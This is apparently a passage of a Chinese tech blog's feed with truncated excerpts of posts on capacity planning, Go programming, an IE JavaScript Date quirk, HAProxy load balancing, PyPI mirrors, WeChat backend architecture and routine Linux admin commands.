+0800tag:youngsterxyf.github.io,2014-03-05:/2014/03/05/counting-lines-in-cmd/Windows翻译读书笔记:Web容量规划的艺术http://youngsterxyf.github.io/2014/02/25/read-the-art-of-capacity-planning/<h3>第1章 容量规划的目标、问题和过程</h3> +<p>了解你的基础设施中每一部分何时会失败(最好不发生)对容量规划至关重要。</p> +<p>假设你有一台数据库服务器用于响应从前端Web服务器提交过来的查询。容量规划意味着你应该知道下述问题的答案。</p> +<ul> +<li>考虑到特定的硬件配置,数据库服务器每秒可管理多少个查询?</li> +<li>在性能降低到影响终端用户体验之前,它每秒可应答多少次查询?</li> +</ul> +<p><strong>性能与容量:两种不同的概念</strong></p> +<p>性能调优是优化已经存在的性能。容量规划通过使用当前性能做为基线决定你的系统需要什么以及什么时候需要。</p> +<p>当面对容量问题的时候,试着少花精力使已存在的设备运行更快,而是关注当下要解决的重点:找出你到底需要什么,什么时候需要。</p> +<p>权衡对已有系统进行调优所花的人力时间,可能简简单单的买更多的硬件是正确的。在最优化和容量扩展方面的权衡是一个挑战,并且因环境而异。</p> +<blockquote> +<p>网站的架构和架构对容量方面的影响</p> +<p>你的驾车风格会影响到你的车的里程,类似的原理能够应用于网站的架构上。在本书中一个反复出现的主题是你的网站架构对于如何使用、消耗 +和管理容量产生重大影响。在有效使用容量上,相比于调整和改变你的服务器和网络,设计能带来更大的影响。同时,随着需求的出现如何方便和灵活 +地进行增加或者减少容量,也是设计能带来的重要作用。</p> +<p>调整架构以便更容易容量管理。保持你的架构易于分割和分段,可以帮助你处理大量的负载特性问题---即在你创建了一个需要增长什么和何时增长的准确规划之前, +你需要解决的问题。</p> +</blockquote> +<p>通过开放API所提供的Web服务引入了另一个逐渐扩大的问题,因为你的应用程序数据会被更多的应用程序访问,它们也都有自己的使用和增长模式。 +这也意味着用户可以方便地滥用系统,从而将更多不确定因素放入容量公式中。API的使用情况需要监控,以观察新出现的模式。</p> +<p>容量规划可以变得非常重要 …</p>youngsterxyfTue, 25 Feb 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-02-25:/2014/02/25/read-the-art-of-capacity-planning/笔记容量规划如何实现Golang的http请求处理中间件(译)http://youngsterxyf.github.io/2014/01/17/golang-http-handlers-as-middleware/<p>原文:<a href="http://capotej.com/blog/2013/10/07/golang-http-handlers-as-middleware/">Golang Http Handlers as Middleware</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>大多数现代Web组件栈允许通过栈式/组件式中间件“过滤”请求,这样就能干净地从web应用中分离出横切关注点(译注:面向方面程序设计中的概念?)。 +本周我尝试在Go语言的<code>http.FileServer</code>中植入钩子,发现实现起来十分简便,让我非常惊讶。</p> +<p>让我们从一个基本的文件服务器开始说起:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">func</span> main() { + http.ListenAndServe(<span style="color: #a31515">&quot;:8080&quot;</span>, http.FileServer(http.Dir(<span style="color: #a31515">&quot;/tmp&quot;</span>))) +} +</pre></div> + + +<p>这段程序会在端口8080上开启一个本地文件服务器。那么我们该如何在这其中植入钩子从而能够在文件请求处理之前执行一些代码?来看一下<code>http.ListenAndServe</code>的方法签名:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">func</span> ListenAndServe(addr <span style="color: #2b91af">string</span>, handler Handler) <span style="color: #2b91af">error</span> +</pre></div> + + +<p>看起来<code>http.FileServer</code>返回了一个<code>Handler …</code></p>youngsterxyfFri, 17 Jan 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-01-17:/2014/01/17/golang-http-handlers-as-middleware/Golang翻译中间件为何Goroutine的栈空间可以无限大?(译)http://youngsterxyf.github.io/2014/01/17/goroutine-stack-infinite/<p>原文:<a href="http://dave.cheney.net/2013/06/02/why-is-a-goroutines-stack-infinite">Why is a Goroutine's stack infinite?</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>Go编程新手可能会偶然发现<a href="http://golang.org/">Go语言</a>---与一个Goroutine可用栈空间大小相关---的一个古怪特性。这通常是由于程序员 +无意间构造了一个无限递归函数调用而产生的。为了阐明这个特性,以如下代码(有点刻意设计的)为例。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">package</span> main + +<span style="color: #0000ff">import</span> <span style="color: #a31515">&quot;fmt&quot;</span> + +<span style="color: #0000ff">type</span> S <span style="color: #0000ff">struct</span> { + a, b <span style="color: #2b91af">int</span> +} + +<span style="color: #008000">// String implements the fmt.Stringer interface</span> +<span style="color: #0000ff">func</span> (s *S) String() <span style="color: #2b91af">string</span> { + <span style="color: #0000ff">return</span> fmt.Sprintf(<span style="color: #a31515">&quot;%s&quot;</span>, s) <span style="color: #008000">// Sprintf will call s.String()</span> +} + +<span style="color: #0000ff">func …</span></pre></div>youngsterxyfFri, 17 Jan 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-01-17:/2014/01/17/goroutine-stack-infinite/Golang翻译Go - 以任意类型的slices作为输入参数(译)http://youngsterxyf.github.io/2014/01/16/go-input-slices-any-type/<p>原文:<a href="https://ahmetalpbalkan.com/blog/golang-take-slices-of-any-type-as-input-parameter/">Go – taking slices of any type as input parameters</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>最近参与的一个业余项目,<a href="https://github.com/ahmetalpbalkan/go-linq">go-linq</a>,让我了解到Go语言的类型系统并不是为任何类面向 +对象编程而设计的。没有泛型,没有类型继承,也没有提供任何对这些特性有用的东西。</p> +<p>但是,提供了一个名为<code>interface{}</code>的类型,你可以向其赋予几乎任意类型的值,不会抛出编译错误,就像.NET的<code>Object</code>或Java的<code>Object</code>:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">var</span> o <span style="color: #0000ff">interface</span>{} +o := 3.14 +o := Student{Name: <span style="color: #a31515">&quot;Ahmet&quot;</span>} +</pre></div> + + +<p>我们假设你需要一个可以接收任意类型slices的函数,如果考虑如下这样实现:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">func</span> Method(in []<span style="color: #0000ff">interface</span>{}){...} +... +slice := []<span style="color: #2b91af">int</span>{1, 2 …</pre></div>youngsterxyfThu, 16 Jan 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-01-16:/2014/01/16/go-input-slices-any-type/Golang翻译回顾2013,展望2014http://youngsterxyf.github.io/2014/01/06/review13-lookin14/<p>2013已经过去了。</p> +<p>时间消逝得太快,以至于很多事情在记忆上相互重叠,无法明确区分事情发生的时间点。那么该如何回顾这过去的一年?</p> +<h2>工作</h2> +<p>2013,参加工作的第一年,我几乎全身心地扑在工作上,自认为做了一些事情,也有很多收获,愉快而充实。技术工作于我而言,更多的 +是一种兴趣、乐趣。</p> +<p>非常感谢领导、导师以及伙伴。领导、导师给了我很大的空间,导师始终耐心地给于业务和技术的指导,和伙伴的合作非常愉快。</p> +<p>这一年,如果说我有了些许成长进步,很大程度上归功于他们。</p> +<p>这些话说得也许有些像获奖感言,却是发自我的真心。</p> +<h2>生活</h2> +<p>2013,我和老婆,订婚、领证,终于结束了长达5年的异地恋,从此以后会有个人始终和我“相依为命”,面对或许琐碎的每一天,在城市飘荡的 +日子也不会再孤单,我很安心,很踏实。</p> +<p>现在,我没车、没房,每个月的工资也不算高,但我始终在努力,除了为自己,还因为有个人值得你去努力把生活过得更好。</p> +<p>为了记录我们以前和以后人生中的重要时刻,我特意创建了一个<a href="http://youngsterxyf.github.io/love">大事年表网页 …</a></p>youngsterxyfMon, 06 Jan 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-01-06:/2014/01/06/review13-lookin14/总结微博"收藏/赞/转发"技术资料汇总http://youngsterxyf.github.io/2013/12/28/weibo_tech_resources_summary/<p>使用新浪微博,我很少发状态,主要是跟踪技术圈的一些动态,技术牛人们都在搞些什么东东,因而收藏和转发了一些优秀的技术资源, +但有些资源当时并没有来得及阅读消化,也没必要马上就阅读学习的,所以这里整理汇总一下,以免湮没在浩瀚的网络信息海洋中。</p> +<h3>书籍</h3> +<ul> +<li>HTTP权威指南 &lt;- <a href="http://weibo.com/fenng">@Fenng</a></li> +<li><a href="http://nlp.stanford.edu/IR-book/">Introduction to Information Retrieval</a> &lt;- <a href="http://weibo.com/lirenchen">@陈利人</a></li> +<li><a href="http://www.codingnow.com/temp/readinglua.pdf">Lua 源码欣赏</a> &lt;- <a href="http://weibo.com/deepcold">@简悦云风</a></li> +<li><a href="http://aosabook.org/en/index.html">The Architecture of Open Source Applications</a> &lt;- <a href="http://weibo.com/u/2169336083">@CloudFoundry </a> (已陆续读了部分章节,赞!图灵社区有章节翻译)</li> +<li>程序设计实践 &lt;- <a href="http://weibo.com/wintercn">@寒冬winter</a> <em>推荐语:薄薄200页,就能让一个掌握一门编程语言基础的人成为一个合格的程序员,其中“算法和数据结构”一章不到30页,我认为细细读过足以应付大多数面试和工作需要。</em></li> +<li>七周七语言 &lt;- <a href="http://weibo.com/tchuba">@淘宝褚霸</a></li> +<li>C语言接口与实现 &lt;- <a href="http://weibo.com/huangz1990">@huangz1990</a></li> +<li>The Linux Programming Interface &lt;- <a href="http://weibo.com/533452688">@ASTA谢</a> <em>推荐语:既 …</em></li></ul>youngsterxyfSat, 28 Dec 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-12-28:/2013/12/28/weibo_tech_resources_summary/微博技术IE下JavaScript Date对象的不同之处http://youngsterxyf.github.io/2013/12/03/date_difference_in_ie/<p>之前在<a href="http://youngsterxyf.github.io/2013/11/29/inner_warehouse_monitor_system/">仓库作业机器监控系统</a>项目中使用<a href="http://www.highcharts.com/demo/line-time-series">HighCharts的时间序列数据图</a>来绘制机器CPU使用率、内存使用量、网络流量趋势变化图等,这些图在IE下却没有正常显示,IE也没有报错,按理说HighCharts的IE兼容性是较好的,不会出现这种问题, +最后查明原因---确实不是HighCharts的问题,而是由于IE下JavaScript的Date对象缺少一种构造函数导致的。</p> +<p>IE中JavaScript的Date对象有如下<a href="http://msdn.microsoft.com/zh-cn/library/ie/cd9w2te4.aspx">三种构造函数</a>:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>dateObj = new Date() +dateObj = new Date(dateVal) +dateObj = new Date(year, month, date[, hours[, minutes[, seconds[,ms]]]]) +</pre></div> + + +<p>其他浏览器中除了这三种之外,<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">还有一种</a>:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>dateObj = <span style="color: #0000ff">new</span> Date(dateString); +</pre></div> + + +<p>如果在IE下使用了这种构造函数,IE不会提示错误,但在调用dateObj的getMonth、getDate等等方法时返回的是<strong>NaN</strong>,从而导致了其他问题。</p> +<hr> +<p><strong>更新</strong>:</p> +<p><em>注:感谢@yiyun指出,IE中的Date构造函数只是不支持"xxxx-xx-xx …</em></p>youngsterxyfTue, 03 Dec 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-12-03:/2013/12/03/date_difference_in_ie/JavaScript笔记某运营平台架构调整http://youngsterxyf.github.io/2013/12/02/operation_platform_arch_change/<p>之前在<a href="http://youngsterxyf.github.io/2013/10/15/standardization-operation-development/">运营开发规范化</a>一文中提过工作中涉及一个<strong>运营平台</strong>。曾有段时间我一直吐槽该平台的代码实现有多烂,各种功能的逻辑有多“野蛮”,应尽快改造,但也许“worse is better”,我的吐槽只能仅仅是吐槽而已了。</p> +<p>最近该平台终于频繁出问题了。原因是上线了一个新功能---生产系统的模块之间每发生一次模块调用,就会调用该运营平台的API上报一次数据,该API的逻辑是将上报的数据存入Redis中。API由PHP实现,服务器以Nginx + PHP-FPM的方式处理API调用请求。当生产系统的业务量增大,模块直接的调用次数频率增大直接导致API调用的频率增大, +加上该平台所在服务器各种cron任务等的影响,导致在某些时候,PHP-FPM子进程数量飙升,跑满CPU,并且PHP-FPM子进程的数目持续不降(原因不明)。这样导致一方面用户无法访问该平台---服务器响应502(Nginx接受请求,但PHP-FPM无法处理该请求),另一方面更多的数据上报API调用无法完成,造成大量数据丢失和误告警。 +用户怨声载道,领导也很头疼,要求尽快搞定该问题,但迟迟没人挑起这个活。</p> +<p>为了开个头,上上个周末的一天我绘制了两张对比图(如下所示),尝试给出建议方案。</p> +<p><img alt="operation_platform_old_arch" src="/assets/uploads/pics/operation_platform_old_arch.png"></p> +<p><img alt="operation_platform_new_arch" src="/assets/uploads/pics/operation_platform_new_arch.png"></p> +<p>这种方案的时间成本较低,无需改动对外API,也无需大量修改代码。</p>youngsterxyfMon, 02 Dec 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-12-02:/2013/12/02/operation_platform_arch_change/架构笔记HAProxyConsole简介http://youngsterxyf.github.io/2013/12/02/re_introduce_haproxyconsole/<p>之前在<a href="http://youngsterxyf.github.io/2013/11/01/unescape-html-in-golang-html_template/">Golang中如何让html/template不转义html标签</a>、<a href="http://youngsterxyf.github.io/2013/10/16/high-availability-load-balancer-and-dns/">搭建高可用负载均衡组件及缓存DNS</a>两篇文章中都提到为了方便使用HAProxy,我实现了一个简单的HAProxy负载均衡任务管理系统。前些天我把<a href="http://youngsterxyf.github.io/haproxyconsole/">代码放在Github上</a>,算是开源吧。</p> +<p>同事使用该管理系统,遇到问题时,由于不清楚其实现,也就无法分析问题出在哪,同时也会有些恐慌,生怕搞挂了HAProxy,毕竟上面承载了一些关键的业务,所以我绘制一张图用于说明HAProxyConsole的应用场景和工作原理。</p> +<p><img alt="HAProxyConsole-arch" src="/assets/uploads/pics/HAProxyConsole-arch.png"></p> +<p>图中蓝色标识的部分都属于HAProxyConsole。</p> +<ul> +<li>用户通过Web页面增/删/改/查负载均衡任务,但这4个操作直接修改的都仅是数据库(DB.json或MySQL数据库)。另外,HAProxyConsole的Web页面中还嵌入了主从HAProxy自带的数据统计页面。</li> +<li>只有当用户点击按钮“应用到主HAProxy”或“应用到从HAProxy”后,HAProxyConsole才会根据DB.json或MySQL中存储的数据和配置文件haproxy_conf_comm.json生成最新的HAProxy配置文件,然后拷贝一份为主HAProxy的配置文件或远程拷贝一份为从HAProxy的配置文件,最后重启HAProxy进程(/path/to/haproxy/sbin/haproxy -f /path/to/haproxy/conf/haproxy.conf -st …</li></ul>youngsterxyfMon, 02 Dec 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-12-02:/2013/12/02/re_introduce_haproxyconsole/HAProxyKeepalived负载均衡笔记总结仓库作业机器监控系统设计与实现http://youngsterxyf.github.io/2013/11/29/inner_warehouse_monitor_system/<p>近期在参与一个仓库作业机器监控项目。该项目的需求背景是:公司的电商业务在全国各地有多处或大或小的仓库,仓库的作业人员(没有IT技术背景)经常反馈/投诉作业机器断网、断电、连不了服务等问题。实际情况经常与反馈的不一致,但运维侧并没有数据可以证明,所以才有了这个项目的需求。</p> +<p>该项目第一期的目标仅是<em>收集、展示作业机器某些监控指标数据,以便在快速定位解决问题,或至少有数据可查</em>。</p> +<p>为了避免大量监控数据上报影响到生产系统的网络服务,系统采用如下结构:</p> +<p><img alt="inner_warehouse_monitor" src="/assets/uploads/pics/inner_warehouse_monitor.png"></p> +<ol> +<li>实现一个agent用于在仓库作业PC或作业PDA上获取机器的监控数据;</li> +<li>在仓库本地服务器上实现一个数据收集处理服务,提供API给agent上传监控数据;数据收集处理服务会将接收到的数据持久化到数据库,提供给仓库本地服务器上的webApp进行数据展示等;</li> +<li>中心服务器可以调用各个仓库本地服务器上的webApp提供的数据查询接口(数据用于定位、发现问题);定期按需对各个仓库本地服务器上的数据进行归档。</li> +</ol> +<p>这样,主要的工作都集中在<strong>作业机器上的agent</strong>和<strong>数据收集处理服务、webApp</strong>。这其中最关键的又是<strong>数据收集处理服务</strong>。考虑到需要多地部署运维仓库本地服务器,而且某些大仓库作业机器的数目目前已多达800-1000,我们做了如下技术选型:</p> +<ol> +<li>Golang实现agent、数据收集处理服务、webApp;</li> +<li>以SQLite作为数据库来存储agent上报的所有数据;</li> +<li>以<a href="http://bitly.github.io/nsq/">NSQ</a>作为异步消息队列中间件;</li> +</ol> +<p>选用Golang的理由是:可以静态编译,部署简单,只需将编译好的可执行二进制程序丢到服务器上跑起来就可以了 …</p>youngsterxyfFri, 29 Nov 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-11-29:/2013/11/29/inner_warehouse_monitor_system/技术总结笔记Golang读书笔记:Just For Fun - The Story of an Accidental Revolutionaryhttp://youngsterxyf.github.io/2013/11/07/read-just_for_fun/<p>前些天偶然在图灵社区上看到<a href="http://www.ituring.com.cn/book/1115?q=%E8%B6%8A%E7%8E%A9%E8%B6%8A%E5%A4%A7">这本书的出版计划</a>,才猛然想起之前看过一两个章节,遂再次找到该书的<a href="http://ishare.iask.sina.com.cn/f/14439267.html">中文电子版</a>(<em>原谅我</em>)(关于该电子版,我不清楚其来源。中国青年出版社出过该书的中文版,译名为《乐者为王》,不知该电子版即为该中文版,还是开源爱好者自己翻译。不过翻译质量不高,应该不是正式出版的),花了一天左右时间看完。</p> +<p>本书由Linus Torvalds和David Diamond合著,书写方式是Linus自述,穿插David Diamond的一些采访旁白,主要讲述Linus如何偶然地成为信息时代的一个革命者(The Story of an Accidental Revolutionary)。Linus在书中表达了对Linux这一伟大的开源项目的看法、对于人生意义、事物发展规律等问题的个人理解。以下是书中让我印象比较深刻的几处内容:</p> +<h3>生活的意义</h3> +<p>对于这一哲学性的问题,估计现在很多人见到都会发笑。本书以这个问题的讨论开始,并以这个问题结尾。Linus并没有直接地回答,而是举例说明人类社会的事物发展都必然经过三个阶段---生存、社会秩序、娱乐,那么生活的意义就是促成这一发展过程:</p> +<blockquote> +<p>李纳斯:这个答案基本上简单而漂亮。 它不会给你的生活以任何意义,但可以告诉你将发生什么。 +有三件事具有生命的意义。它们是你生活当中所有事情的动机,包括你所做的任何事情和一个生命体该做的所有事情 …</p></blockquote>youngsterxyfThu, 07 Nov 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-11-07:/2013/11/07/read-just_for_fun/阅读笔记修改PyPI源http://youngsterxyf.github.io/2013/11/01/change-pypi-mirror/<p>使用easy_install或pip安装Python第三方库,默认的源地址是:https://pypi.python.org/simple/ 。使用该源有两个问题:</p> +<p>1. +国内访问速度较慢</p> +<p>2. +由于该源使用https协议,若机器上没有安装openssl或ssl配置不对,将导致easy_install或pip访问该源失败</p> +<p>若想解决这两个问题,可以使用国内的PyPI镜像源。</p> +<p>从 <a href="http://www.pypi-mirrors.org/">http://www.pypi-mirrors.org/</a> 可以看到国内的PyPI镜像源主要有三个:</p> +<ul> +<li>e.pypi.python.org</li> +<li>pypi.douban.com</li> +<li>pypi.hustunique.com</li> +</ul> +<hr> +<p>修改easy_install和pip使用的源有两种方式(以Linux上从镜像源e.pypi.python.org下载安装requests为例):</p> +<p><strong>命令方式:针对一次使用,临时修改</strong></p> +<ul> +<li> +<p>easy_install</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>easy_install -i http://e.pypi.python.org/simple requests …</pre></div></li></ul>youngsterxyfFri, 01 Nov 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-11-01:/2013/11/01/change-pypi-mirror/PythonPyPIpipeasy_installsslGolang中如何让html/template不转义html标签http://youngsterxyf.github.io/2013/11/01/unescape-html-in-golang-html_template/<p>近期在使用Golang的<a href="http://golang.org/pkg/net/http/">net/http</a>和<a href="http://golang.org/pkg/html/template/">html/template</a>开发一个简单的HAProxy负载均衡任务管理系统(见<a href="http://youngsterxyf.github.io/2013/10/16/high-availability-load-balancer-and-dns/">搭建高可用负载均衡组件及缓存DNS</a>一文说明)。</p> +<p><a href="http://golang.org/pkg/html/template/">htmp/template</a>在渲染页面模板的时候默认会转义字符串中的html标签,但有时我们并不想转义html标签,以下图所示为例:</p> +<p><img alt="add_haproxy_balance_task" src="/assets/uploads/pics/haproxy_task_add.jpg"></p> +<p><img alt="list_haproxy_balance_task" src="/assets/uploads/pics/haproxy_task_list.jpg"></p> +<p>图1中“ip:port列表(一行一个)”和“说明”两个输入框的内容行与行是以<code>\n</code>分隔的;图2中,这两部分内容分别在表格的“后端机器列表”和“说明”两列中展示,但行与行其实是以<code>&lt;br /&gt;</code>分隔的;那么在将数据存入数据库之前或从数据库中取出数据后,会将字符串中的<code>\n</code>替换为<code>&lt;br /&gt;</code>。如果将替换后的数据以字符串类型传入模板,<code>&lt;br /&gt;</code>标签渲染后的效果就是<code>&lt;br /&gt;</code>文本而不是换行。</p> +<p>有两种方式避免<code>html/template</code>转义html标签:</p> +<p>1. +把字符串类型数据转换成<code>template …</code></p>youngsterxyfFri, 01 Nov 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-11-01:/2013/11/01/unescape-html-in-golang-html_template/Golangtemplate学在腾讯:简而美的微信后台架构http://youngsterxyf.github.io/2013/10/23/learning-in-tencent-backend-arch-of-weixin/<p>注:<em>公司分享讲座的一点笔记,不保证准确性。</em></p> +<h2>问题</h2> +<h4>极致的业务特性</h4> +<ul> +<li>流畅的消息收发</li> +<li>及时的通知</li> +<li>省电</li> +<li>省流量</li> +<li>瘦客户端</li> +</ul> +<h4>困难的后台-终端同步</h4> +<ul> +<li>同步多样数据:账户信息、通讯录、消息、朋友圈等</li> +<li>及时通知与同步</li> +<li>移动网络下的可靠同步</li> +<li>省流量与电量</li> +</ul> +<h2>方案</h2> +<h4>极简的同步协议</h4> +<ul> +<li>后台与终端只需要沟通一个数字,后台即可知道终端缺失的所有数据。</li> +<li>变更序列号/版本号:<ul> +<li>后台对用户数据的每项变更,都赋予一个单调递增的序列号,即用户的每项数据都有一个全局递增序列号。</li> +<li>后台每次给终端发送数据都会带上所发送的所有数据的最大序列号。</li> +<li>终端每次请求数据时都会带上已经接受到的最大序列号。</li> +</ul> +</li> +</ul> +<h4>高效的通知机制</h4> +<ul> +<li>ios Apple Push Network Service</li> +<li>Android等-长连接</li> +<li>GPRS/EDGE信令风暴优化</li> +<li>自适应心跳间隔调节</li> +</ul> +<h4>三层后台架构</h4> +<p><img alt="Arch of weixin backend" src="/assets/uploads/pics/arch-of-weixin-backend.png"></p> +<h4>统一的RPC框架</h4> +<ul> +<li>根据ProtocolBuffer定义生成服务器框架和客户端<ul> +<li>服务器:开发人员填充接口实现</li> +<li>客户端: 应用方本地调用客户端提供的接口函数</li> +</ul> +</li> +<li>屏蔽网络细节<ul> +<li>支持基于TCP/UDP的网络调用 …</li></ul></li></ul>youngsterxyfWed, 23 Oct 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-10-23:/2013/10/23/learning-in-tencent-backend-arch-of-weixin/腾讯微信架构搭建高可用负载均衡组件及缓存DNShttp://youngsterxyf.github.io/2013/10/16/high-availability-load-balancer-and-dns/<p>该项工作,如题所示,主要分为两部分:高可用负载均衡组件、缓存DNS。</p> +<h3>高可用负载均衡组件</h3> +<p>需求:优化业务系统架构中某些关键环节,针对TCP层数据流量进行负载均衡,并保证服务的高可用。</p> +<p>技术选型:HAProxy + Keepalived,这对组合比较常见成熟。</p> +<p>另外,由于HAProxy的负载均衡任务可能比较多,靠人工修改配置来增删改任务不方便可靠,所以实现了一个简单的HAProxy管理系统, +以后经实际使用验证和完善会开放源码。</p> +<p><img alt="high availability load balancer" src="/assets/uploads/pics/high-availability-load-balancer.png"></p> +<h3>缓存DNS</h3> +<p>先以www.qq.com为例,解释一下域名解析过程:</p> +<p><img alt="resolve qq.com" src="/assets/uploads/pics/resolve-qq-com.jpg"></p> +<p>1. +用户向Local DNS发起www.qq.com.查询请求;</p> +<p>2. +Local DNS向根服务器发起com.查询请求;</p> +<p>3. +根服务器向Local DNS返回com.解析记录;</p> +<p>4. +Local DNS向com.权威服务器发起qq.com.查询请求;</p> +<p>5. +com.权威服务器向Local DNS返回qq.com.解析记录 …</p>youngsterxyfWed, 16 Oct 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-10-16:/2013/10/16/high-availability-load-balancer-and-dns/高可用负载均衡HAProxyKeepalivedHAProxyConsoleDNSBIND运营开发规范化http://youngsterxyf.github.io/2013/10/15/standardization-operation-development/<p>今年3月底毕业,入职腾讯做运营开发,至今6个月有余。入职之时组内仅有1个运营开发的同事,到目前已扩充到5人,加3个实习生。</p> +<p>入职之时的运营开发过程是这样的:</p> +<ol> +<li>在办公机器(Windows)上编写代码,功能测试通过后,</li> +<li>ssh远程连接到生产服务器(Linux),vim打开一个新文件,复制办公机器上的代码,粘贴到vim中,保存,</li> +<li>打开浏览器测试上线的功能/效果是否正确,若不正确,</li> +<li>直接在生产服务器上编辑代码文件,直到达到需要的功能效果,</li> +<li>再从生产服务器上将修改后的代码复制粘贴到办公机器(也许不会有这一步,之后所有的修改都直接在生产服务器上操作)。</li> +</ol> +<p>这个过程存在如下问题:</p> +<ol> +<li>代码没有版本控制</li> +<li>没有与生产服务器一致的测试环境</li> +<li>代码部署过程繁琐</li> +<li>办公开发机器上代码很可能比生产服务器上代码还旧</li> +<li>上面4点都会导致混乱</li> +</ol> +<p>除此之外,当团队从1人扩充到多人后,不可避免地会遇到协作的问题,解决代码开发协作问题一般涉及如下几方面:</p> +<ol> +<li>使用代码版本控制</li> +<li>规定版本控制的工作流</li> +<li>编码规范</li> +<li>项目/代码文档</li> +<li>定期code review</li> +</ol> +<p>为了解决上述问题,我陆续地做了如下工作:</p> +<h3>搭建Gitlab服务器、测试服务器</h3> +<p>个人认为开发工作规范化的第一点就是版本控制,基于版本控制可以完成很多自动化的任务。</p> +<p>平时个人的代码、文档都通过Git版本控制存放在Github上 …</p>youngsterxyfTue, 15 Oct 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-10-15:/2013/10/15/standardization-operation-development/服务器LinuxGitGolangPython一项工作中涉及的几个命令http://youngsterxyf.github.io/2013/10/14/several-command-in-one-task/<p>今天写了点shell脚本,在一些CentOS服务器上进行了一些操作,涉及如下命令:</p> +<h3>统计特定进程个数</h3> +<p>如统计haproxy进程的个数</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ps -e | grep haproxy | wc -l +</pre></div> + + +<h3>获取特定进程的pid</h3> +<p>如获取haproxy进程的pid</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ps -e | grep haproxy | awk <span style="color: #a31515">&#39;{print $1}&#39;</span> +</pre></div> + + +<h3>一对多添加ssh信任关系</h3> +<p>如192.168.2.1用户usernameA到192.168.2.x用户usernameB的信任关系</p> +<ol> +<li> +<p>在192.168.2.1创建自己的公钥私钥:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ssh-keygen -t rsa <span style="color: #008000"># 提示输入时,全部留空回车。</span> +</pre></div> + + +</li> +<li> +<p>拷贝192.168.2.1的公钥到192.168.2.x机器上:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ssh-copy-id <span style="color: #a31515">&quot;-p 22 usernameB@192.168 …</span></pre></div></li></ol>youngsterxyfMon, 14 Oct 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-10-14:/2013/10/14/several-command-in-one-task/Linux命令行从URL监控问题谈网站Web架构http://youngsterxyf.github.io/2013/10/12/url-monitoring-and-web-arch/<p>之前工作中实现了一个对站点进行URL监控的功能。原理是:</p> +<ul> +<li> +<p>cron脚本定时从一台Nginx服务器上获得Nginx配置文件(包括upstream配置),在解析配置得到:<code>域名-&gt;upstream名</code>(可能有多个)、<code>upstream名-&gt;属于该upstream的服务器ip列表</code>,存入数据库;</p> +</li> +<li> +<p>用户通过Web界面配置URL监控项,配置过程为:</p> +</li> +<li> +<p>输入要监控的URL,如http://www.sample.com/test.php ,前端JS解析出域名部分www.sample.com,向后端发送AJAX请求,得到该域名相关的upstream;</p> +</li> +<li>用户选择正确的那个upstream(Nginx可以将对不同URL的请求转发到不同的upstream后端机器);</li> +<li> +<p>然后填写监控告警信息接收人等其他配置信息,提交即可。</p> +</li> +<li> +<p>另一个cron脚本定时地:</p> +</li> +<li> +<p>从数据库中读取URL监控项数据;</p> +</li> +<li>根据监控项中的upstream名,从数据库中读取属于该upstream的ip列表;</li> +<li>逐个使用ip列表中的ip替换URL的域名部分,将域名部分作为HTTP请求头的HOST字段的值;</li> +<li>使用libcurl库或curl命令发出请求(如使用curl命令:<code>curl -H "www.sample.com" http://192.168.1.1/test.php</code>);</li> +<li>如果响应码非200或非3xx等 …</li></ul>youngsterxyfSat, 12 Oct 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-10-12:/2013/10/12/url-monitoring-and-web-arch/监控架构Web工作笔记通过示例学习Git内部构造(译)http://youngsterxyf.github.io/2013/09/28/learning-git-internals-by-example/<p>原文:<a href="http://teohm.github.io/blog/2011/05/30/learning-git-internals-by-example/">Learning Git Internals by Example</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<hr> +<p>状态:草稿</p> +<p>计划修订本文,未来可能会简化一些...</p> +<h2>动机</h2> +<p>从Subversion和Mercurial切换到Git之后的几个月,我始终觉得Git在本质上是不同于Subversion和Mercurial的,但没法确切地说出区别。 +我经常在Github上看到tree、parent等术语,也搞不清楚它们确切的含义。</p> +<p>因此我决定花些时间学学Git。</p> +<p>我会尝试概述,并阐述一路走来学到的关于Git的关键信息...但这仅是有助于我回答Git与其他源码控制工具区别的Git内部构造基本知识。</p> +<h2>实体、引用、索引(Objects,References,The Index)</h2> +<p>要理解Git内部构造的核心,我们应理解三个东西: <strong>实体</strong>、<strong>引用</strong>、 <strong>索引</strong>。</p> 